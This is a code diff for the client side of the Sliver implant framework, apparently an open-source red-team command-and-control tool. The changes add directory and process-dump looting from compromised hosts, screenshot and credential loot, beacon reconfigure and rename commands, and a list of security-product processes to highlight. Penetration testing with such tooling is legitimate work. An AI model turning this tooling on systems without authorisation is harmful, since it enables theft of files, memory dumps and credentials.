 		Request: &commonpb.Request{
 			BeaconID: beacon.ID,
+			Timeout:  int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
 	return err

@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
 	switch credType {
 	case clientpb.CredentialType_USER_PASSWORD.String():
 		loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
-		usernamePrompt := &survey.Input{Message: "Username: "}
-		survey.AskOne(usernamePrompt, &loot.Credential.User)
-		passwordPrompt := &survey.Input{Message: "Password: "}
-		survey.AskOne(passwordPrompt, &loot.Credential.Password)
+		for loot.Credential.User == "" {
+			usernamePrompt := &survey.Input{Message: "Username: "}
+			survey.AskOne(usernamePrompt, &loot.Credential.User)
+			if loot.Credential.User == "" {
+				con.Println("Username is required")
+			}
+		}
+		for loot.Credential.Password == "" {
+			passwordPrompt := &survey.Input{Message: "Password: "}
+			survey.AskOne(passwordPrompt, &loot.Credential.Password)
+			if loot.Credential.Password == "" {
+				con.Println("Password is required")
+			}
+		}
 	case clientpb.CredentialType_API_KEY.String():
 		loot.CredentialType = clientpb.CredentialType_API_KEY
 		usernamePrompt := &survey.Input{Message: "API Key: "}
@@ -176,7 +176,15 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
 	buf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+		filename := ""
+		if loot.File != nil {
+			filename = loot.File.Name
+		}
+		if loot.Name == filename {
+			fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
+		}
 	}
 	table.Flush()
 	options := strings.Split(buf.String(), "\n")
@@ -159,14 +159,20 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)

 	// Column Headers
-	fmt.Fprintln(table, "Type\tName\tUUID\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+	fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
 		strings.Repeat("=", len("Type")),
 		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("File Name")),
 		strings.Repeat("=", len("UUID")),
 	)
+
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
+		filename := ""
+		if loot.File != nil {
+			filename = loot.File.Name
+		}
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
 	}

 	table.Flush()
@@ -401,7 +407,7 @@ func isText(sample []byte) bool {
 			// last char may be incomplete - ignore
 			break
 		}
-		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
+		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
 			// decoding error or control character - not a text file
 			return false
 		}
@@ -19,9 +19,14 @@ package loot
 */

 import (
+	"archive/tar"
+	"bytes"
+	"compress/gzip"
 	"context"
 	"fmt"
-	"path"
+	"io"
+	"path/filepath"
+	"strings"

 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

+func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
+	var lootType clientpb.LootType
+	var err error
+
+	if lootTypeInput != "" {
+		lootType, err = lootTypeFromHumanStr(lootTypeInput)
+		if err != nil {
+			/*
+				If we get an error, that means that this loot type was invalid.
+				We will leave it up to the caller to handle the error (output it
+				to the console for example)
+			*/
+			return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
+		}
+	} else {
+		lootType = clientpb.LootType_LOOT_FILE
+	}
+
+	return lootType, err
+}
+
+func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
+	lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
+	if lootFileType == -1 || err != nil {
+		if isText(data) {
+			lootFileType = clientpb.FileType_TEXT
+		} else {
+			lootFileType = clientpb.FileType_BINARY
+		}
+	}
+
+	return lootFileType
+}
+
+/*
+	Eventually this function needs to be refactored out, but we made the decision to
+	duplicate it for now
+*/
+func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+			}
+		})
+		con.PrintAsyncResponse(download.Response)
+	}
+
+	if download.Response != nil && download.Response.Err != "" {
+		return nil, fmt.Errorf("%s\n", download.Response.Err)
+	}
+
+	// Decode the downloaded data if required
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			return nil, fmt.Errorf("Decoding failed %s", err)
+		}
+	}
+
+	return download, nil
+}
+
+func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
+	if lootName == "" {
+		lootName = fileName
+	}
+
+	lootMessage := &clientpb.Loot{
+		Name:     lootName,
+		Type:     lootType,
+		FileType: lootFileType,
+		File: &commonpb.File{
+			Name: fileName,
+			Data: data,
+		},
+	}
+
+	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
+		lootMessage.CredentialType = clientpb.CredentialType_FILE
+	}
+
+	return lootMessage
+}
+
+func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
+	control := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
+
+	loot, err := con.Rpc.LootAdd(context.Background(), loot)
+	control <- true
+	<-control
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	}
+
+	if loot.Name != loot.File.Name {
+		con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
+	} else {
+		con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
+	}
+
+	return
+}
+
+func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Was the download successful?
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+
+	/*  Construct everything needed to send the loot to the server
+	If this is a directory, we will process each file individually
+	*/
+
+	// Let's handle the simple case of a file first
+	if !download.IsDir {
+		// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
+		downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
+		lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
+		SendLootMessage(lootMessage, con)
+	} else {
+		// We have to decompress the gzip file first
+		decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
+
+		if err != nil {
+			con.PrintErrorf("Could not decompress downloaded data: %s", err)
+			return
+		}
+
+		/*
+			Directories are stored as tar-ed gzip archives.
+			We have gotten rid of the gzip part, now we have to sort out the tar
+		*/
+		tarReader := tar.NewReader(decompressedDownload)
+
+		// Keep reading until we reach the end
+		for {
+			entryHeader, err := tarReader.Next()
+			if err == io.EOF {
+				// We have reached the end of the tar archive
+				break
+			}
+
+			if err != nil {
+				// Something is wrong with this archive. Stop reading.
+				break
+			}
+
+			if entryHeader == nil {
+				/*
+					If the entry is nil, skip it (not sure when this would happen,
+						but we do not want to attempt operations on something that is nil)
+				*/
+				continue
+			}
+
+			if entryHeader.Typeflag == tar.TypeDir {
+				// Keep going to dig into the directory
+				continue
+			}
+			// The implant should have only shipped us files (the implant resolves symlinks)
+
+			// Create a loot message for this file and ship it
+			/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
+			be the end of the file
+			*/
+			fileData, err := io.ReadAll(tarReader)
+			if err == nil {
+				lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
+				SendLootMessage(lootMessage, con)
+			}
+		}
+	}
+}
+
 // LootAddRemoteCmd - Add a file from the remote system to the server as loot
 func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	remotePath := ctx.Args.String("path")
+	fileName := filepath.Base(remotePath)
 	name := ctx.Flags.String("name")
-	if name == "" {
-		name = path.Base(remotePath)
-	}

-	var lootType clientpb.LootType
-	var err error
-	lootTypeStr := ctx.Flags.String("type")
-	if lootTypeStr != "" {
-		lootType, err = lootTypeFromHumanStr(lootTypeStr)
-		if err == ErrInvalidLootType {
-			con.PrintErrorf("Invalid loot type %s", lootTypeStr)
-			return
-		}
-	} else {
-		lootType = clientpb.LootType_LOOT_FILE
-	}
-
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
-
-	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    remotePath,
-	})
-	if err != nil {
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err) // Download failed
-			return
-		}
-	}
-
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			con.PrintErrorf("Decoding failed %s", err)
-			return
-		}
-	}
-
-	// Determine type based on download buffer
-	lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
-	if lootFileType == -1 || err != nil {
-		if isText(download.Data) {
-			lootFileType = clientpb.FileType_TEXT
-		} else {
-			lootFileType = clientpb.FileType_BINARY
-		}
-	}
-	loot := &clientpb.Loot{
-		Name:     name,
-		Type:     lootType,
-		FileType: lootFileType,
-		File: &commonpb.File{
-			Name: path.Base(remotePath),
-			Data: download.Data,
-		},
-	}
-	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
-		loot.CredentialType = clientpb.CredentialType_FILE
-	}
-
-	loot, err = con.Rpc.LootAdd(context.Background(), loot)
-	ctrl <- true
-	<-ctrl
+	lootType, err := ValidateLootType(ctx.Flags.String("type"))
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}

-	con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
+	download, err := PerformDownload(remotePath, fileName, ctx, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	// Determine type based on download buffer
+	lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+	LootDownload(download, name, lootType, lootFileType, ctx, con)
 }
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
 	if session == nil {
 		return
 	}
+	var options []bool
+	options = append(options, ctx.Flags.Bool("allow-all"))
 	listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
 		Type:        sliverpb.PivotType_NamedPipe,
 		BindAddress: ctx.Flags.String("bind"),
 		Request:     con.ActiveTarget.Request(ctx),
+		Options:     options,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
 		"Remote Address",
 	})
 	for _, p := range portfwds {
-		tw.AppendHeader(table.Row{
+		tw.AppendRow(table.Row{
 			p.ID,
 			p.SessionID,
 			p.BindAddr,
@@ -23,6 +23,7 @@ import (

 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/prelude"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 )
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		AESKey:      aesKey,
 	}

-	sessionMapper := prelude.InitSessionMapper(config)
+	implantMapper := prelude.InitImplantMapper(config)

 	con.PrintInfof("Connected to Operator at %s\n", url)
 	if !skipExisting {
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if len(sessions.Sessions) > 0 {
 			con.PrintInfof("Adding existing sessions ...\n")
 			for _, session := range sessions.Sessions {
-				err = sessionMapper.AddSession(session)
+				if !session.IsDead {
+					err = implantMapper.AddImplant(session, nil)
+					if err != nil {
+						con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
+					}
+				}
+			}
+			con.PrintInfof("Done !\n")
+		}
+		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Could not get beacon list: %s", err)
+			return
+		}
+		if len(beacons.Beacons) > 0 {
+			con.PrintInfof("Adding existing beacons ...\n")
+			for _, beacon := range beacons.Beacons {
+				err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
 				if err != nil {
-					con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
+					con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
 				}
 			}
 			con.PrintInfof("Done !\n")
@@ -25,8 +25,8 @@ import (
 )

 func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if prelude.SessionMapper != nil {
-		con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
+	if prelude.ImplantMapper != nil {
+		con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
 		return
 	}
 	con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
@@ -24,7 +24,9 @@ import (
 	"io/ioutil"
 	"os"
 	"path/filepath"
+	"time"

+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	pid := ctx.Flags.Int("pid")
 	name := ctx.Flags.String("name")
 	saveTo := ctx.Flags.String("save")
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("loot-name")

 	if pid == -1 && name != "" {
 		pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintProcessDump(dump, saveTo, hostname, pid, con)
+			if saveLoot {
+				LootProcessDump(dump, lootName, hostname, pid, con)
+			}
+
+			if !saveLoot || saveTo != "" {
+				PrintProcessDump(dump, saveTo, hostname, pid, con)
+			}
 		})
 		con.PrintAsyncResponse(dump.Response)
 	} else {
-		PrintProcessDump(dump, saveTo, hostname, pid, con)
+		if saveLoot {
+			LootProcessDump(dump, lootName, hostname, pid, con)
+		}
+
+		if !saveLoot || saveTo != "" {
+			PrintProcessDump(dump, saveTo, hostname, pid, con)
+		}
 	}

 }
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
 	}
 	return ""
 }
+
+func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
+	timeNow := time.Now().UTC()
+	dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
+
+	if lootName == "" {
+		lootName = dumpFileName
+	}
+
+	lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
+	loot.SendLootMessage(lootMessage, con)
+}
@@ -37,15 +37,21 @@ var (
 	// Stylizes known processes in the `ps` command
 	knownSecurityTools = map[string][]string{
 		// Process Name -> [Color, Stylized Name]
-		"ccSvcHst.exe":          {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
-		"cb.exe":                {console.Red, "Carbon Black"},                 // Carbon Black
-		"MsMpEng.exe":           {console.Red, "Windows Defender"},             // Windows Defender
-		"smartscreen.exe":       {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
-		"CSFalconService.exe":   {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
-		"CSFalconContainer.exe": {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
-		"bdservicehost.exe":     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdagent.exe":           {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdredline.exe":         {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
+		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
+		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
+		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
+		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
+		"CSFalconContainer.exe":           {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
+		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
 	}
 )

@@ -110,13 +116,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,

 	switch os {
 	case "windows":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
 	case "darwin":
 		fallthrough
 	case "linux":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		fallthrough
 	default:
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
 	}

 	cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -134,8 +140,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 		tw.AppendRow(row)
 	}
 	tw.SortBy([]table.SortBy{
-		{Name: "pid", Mode: table.Asc},
-		{Name: "ppid", Mode: table.Asc},
+		{Name: "pid", Mode: table.AscNumeric},
+		{Name: "ppid", Mode: table.AscNumeric},
 	})
 	if !interactive {
 		overflow = true
@@ -182,6 +188,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -190,6 +197,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -210,6 +218,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 			}
 		} else {
@@ -217,6 +226,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 			}
 		}
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Pid:     int32(pid),
 		Force:   ctx.Flags.Bool("force"),
 	})
+	if err != nil {
+		con.PrintErrorf("Terminate failed: %s", err)
+		return
+	}

 	if terminated.Response != nil && terminated.Response.Async {
 		con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -19,6 +19,7 @@ package reaction
 */

 import (
+	"fmt"
 	"os"

 	"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (

 // ReactionSaveCmd - Manage reactions to events
 func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
+	reactionPath := GetReactionFilePath()
+	if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
 		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
+		prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
 			return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {
-		con.PrintInfof("Saved reactions to disk\n")
+		con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
 	}
 }
@@ -0,0 +1,4 @@
+Reconfig
+=========
+
+Commands used to reconfigure beacon/session times and metadata
@@ -0,0 +1,96 @@
+package reconfig
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ReconfigCmd - Reconfigure metadata about a sessions
+func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	var err error
+	var reconnectInterval time.Duration
+	if ctx.Flags.String("reconnect-interval") != "" {
+		reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
+		if err != nil {
+			con.PrintErrorf("Invalid reconnect interval: %s\n", err)
+			return
+		}
+	}
+
+	var beaconInterval time.Duration
+	var beaconJitter time.Duration
+	if beacon != nil {
+		if ctx.Flags.String("beacon-interval") != "" {
+			beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
+			if err != nil {
+				con.PrintErrorf("Invalid beacon interval: %s\n", err)
+				return
+			}
+		}
+		if ctx.Flags.String("beacon-jitter") != "" {
+			beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
+			if err != nil {
+				con.PrintErrorf("Invalid beacon jitter: %s\n", err)
+				return
+			}
+			if beaconInterval == 0 && beaconJitter != 0 {
+				con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
+			}
+		}
+	}
+
+	reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
+		ReconnectInterval: int64(reconnectInterval),
+		BeaconInterval:    int64(beaconInterval),
+		BeaconJitter:      int64(beaconJitter),
+		Request:           con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	if reconfig.Response != nil && reconfig.Response.Async {
+		con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, reconfig)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			con.PrintInfof("Reconfigured beacon\n")
+		})
+		con.PrintAsyncResponse(reconfig.Response)
+	} else {
+		con.PrintInfof("Reconfiguration complete\n")
+	}
+}
@@ -0,0 +1,62 @@
+package reconfig
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+// RecnameCmd - Reconfigure metadata about a sessions
+func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	// Option to change the agent name
+	name := ctx.Flags.String("name")
+	if err := util.AllowedName(name); err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	var beaconID string
+	var sessionID string
+	if beacon != nil {
+		beaconID = beacon.ID
+	} else if session != nil {
+		sessionID = session.ID
+	}
+	_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
+		SessionID: sessionID,
+		BeaconID:  beaconID,
+		Name:      name,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.PrintInfof("Renamed implant to %s\n", name)
+	con.ActiveTarget.Set(nil, nil)
+}
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}

+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+	saveTo := ctx.Flags.String("save")
+
 	hostname := getHostname(session, beacon)
 	if screenshot.Response != nil && screenshot.Response.Async {
 		con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintScreenshot(screenshot, hostname, ctx, con)
+			if saveLoot {
+				if len(screenshot.Data) > 0 {
+					LootScreenshot(screenshot, lootName, hostname, con)
+				} else {
+					con.PrintErrorf("Cannot loot screenshot because it contained no data")
+				}
+			}
+
+			if !saveLoot || saveTo != "" {
+				PrintScreenshot(screenshot, hostname, ctx, con)
+			}
